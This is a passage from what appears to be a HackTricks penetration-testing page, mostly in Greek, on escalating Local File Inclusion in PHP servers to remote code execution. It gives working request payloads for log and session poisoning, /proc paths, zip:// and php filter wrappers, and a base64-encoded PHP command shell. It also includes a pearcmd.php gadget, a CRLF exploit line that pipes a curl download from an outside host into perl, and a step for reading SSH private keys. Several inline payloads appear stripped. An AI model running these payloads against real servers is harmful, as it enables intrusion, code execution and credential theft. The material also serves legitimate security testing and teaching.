- Απόρριψη οποιουδήποτε μονοπατιού που περιέχει `..`, απόλυτες ρίζες, ή drive letters· προτίμηση σε generated filenames.
- Τρέξτε τον writer ως λογαριασμό με χαμηλά δικαιώματα και διαχωρίστε τους καταλόγους εγγραφής από τα served roots.
## Remote File Inclusion
Εξηγήθηκε προηγουμένως, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **``** and include that file
> [!WARNING]
> Σημειώστε ότι **εάν χρησιμοποιήσετε double quotes** για το shell αντί για **simple quotes**, τα double quotes θα τροποποιηθούν για τη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει σφάλμα** εκεί και **τίποτε άλλο δεν θα εκτελεστεί**.
>
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** αλλιώς η PHP θα δίνει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
Αυτό μπορεί επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά **προσέξτε,** ο κώδικας μέσα στα αρχεία καταγραφής μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header **authorisation "basic"** περιέχει "user:password" σε Base64 και αυτό αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.\
Άλλες πιθανές διαδρομές αρχείων καταγραφής:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Μέσω Email
**Αποστείλετε ένα mail** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως `` και δοκιμάστε να το include στο mail του χρήστη με μια διαδρομή όπως **`/var/mail/`** ή **`/var/spool/mail/`**
### Μέσω /proc/*/fd/*
1. Ανεβάστε πολλά shells (για παράδειγμα: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διεργασίας (μπορεί να brute forced) και $FD ο file descriptor (μπορεί να brute forced επίσης)
### Μέσω /proc/self/environ
Όπως σε ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent — θα αντανακλάται μέσα στο αρχείο /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: =phpinfo(); ?>
```
### Μέσω upload
Αν μπορείτε να upload ένα αρχείο, απλώς εισάγετε το shell payload σε αυτό (e.g : `` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να inject στα metadata των εικόνων/doc/pdf
### Μέσω ανέβασματος αρχείου ZIP
Ανέβασε ένα αρχείο ZIP που περιέχει έναν συμπιεσμένο PHP shell και πρόσβαση:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Μέσω PHP sessions
Ελέγξτε αν ο ιστότοπος χρησιμοποιεί PHP Session (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
Στο PHP αυτές οι sessions αποθηκεύονται σε _/var/lib/php5/sess\\_\[PHPSESSID]\_ αρχεία
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Ορίστε το cookie σε ``
```
login=1&user=&pass=password&lang=en_us.php
```
Χρησιμοποίησε το LFI για να συμπεριλάβεις το PHP session file
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Μέσω ssh
Εάν το ssh είναι ενεργό έλεγξε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπάθησε να έχεις πρόσβαση στο **\/.ssh/id_rsa**
### **Μέσω** **vsftpd** _**logs**_
Τα logs για τον FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στο σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο vsftpd server, μπορούν να εξεταστούν τα παρακάτω βήματα:
1. Ενέχυσέ ένα PHP payload στο πεδίο username κατά τη διαδικασία σύνδεσης.
2. Μετά την έγχυση, χρησιμοποίησε το LFI για να ανακτήσεις τα server logs από _**/var/log/vsftpd.log**_.
### Μέσω php base64 filter (using base64)
Όπως δείχνει [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter απλά αγνοεί μη-base64 χαρακτήρες. Μπορείς να το χρησιμοποιήσεις για να παρακάμψεις τον έλεγχο επέκτασης αρχείου: εάν παρέχεις base64 που τελειώνει με ".php", το φίλτρο θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ είναι ένα παράδειγμα payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is ""
```
### Μέσω php filters (δεν απαιτείται αρχείο)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters to generate arbitrary content** ως έξοδο. Αυτό ουσιαστικά σημαίνει ότι μπορείτε να **generate arbitrary php code** για το include **χωρίς να χρειάζεται να το γράψετε** σε αρχείο.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Μέσω segmentation fault
**Ανεβάστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, τότε στην **ίδια αίτηση** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Μέσω αποθήκευσης προσωρινών αρχείων Nginx
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### Μέσω PHP_SESSION_UPLOAD_PROGRESS
Ακόμα κι αν βρήκατε ένα **Local File Inclusion** και **δεν έχετε session** και `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** σε **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει το session για εσάς**. Μπορείτε να το εκμεταλλευτείτε για να αποκτήσετε RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Μέσω temp file uploads σε Windows
Αν βρήκατε ένα **Local File Inclusion** και ο διακομιστής τρέχει σε **Windows**, μπορεί να αποκτήσετε RCE:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Μέσω `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Το ακόλουθο εκμεταλλεύεται ένα CRLF vuln για να αποκτήσει RCE (από [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Μέσω phpinfo() (file_uploads = on)
Αν βρήκατε ένα **Local File Inclusion** και ένα αρχείο που αποκαλύπτει **phpinfo()** με file_uploads = on μπορείτε να αποκτήσετε RCE:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Αν βρήκατε ένα **Local File Inclusion** και μπορείτε να **exfiltrate the path** του temp file ΑΛΛΑ ο **server** ελέγχει αν το **file to be included has PHP marks**, μπορείτε να δοκιμάσετε να **bypass that check** με αυτή την **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Μέσω eternal waiting + bruteforce
Αν μπορείτε να καταχραστείτε το LFI για να **upload temporary files** και να κάνετε τον server να **hang** την εκτέλεση PHP, τότε μπορείτε να **brute force filenames during hours** για να βρείτε το temporary file:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### Σε Fatal Error
Αν συμπεριλάβετε οποιοδήποτε από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβετε το ίδιο μία φορά 2 φορές για να προκαλέσετε αυτό το error).
**Δεν ξέρω πώς είναι αυτό χρήσιμο αλλά μπορεί να είναι.**\
_Ακόμη και αν προκαλέσετε ένα PHP Fatal Error, τα PHP temporary files που ανέβηκαν διαγράφονται._
## Αναφορές
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#file}}
EN-Local-File-Inclusion-1.pdf
{{#endfile}}
{{#include ../../banners/hacktricks-training.md}}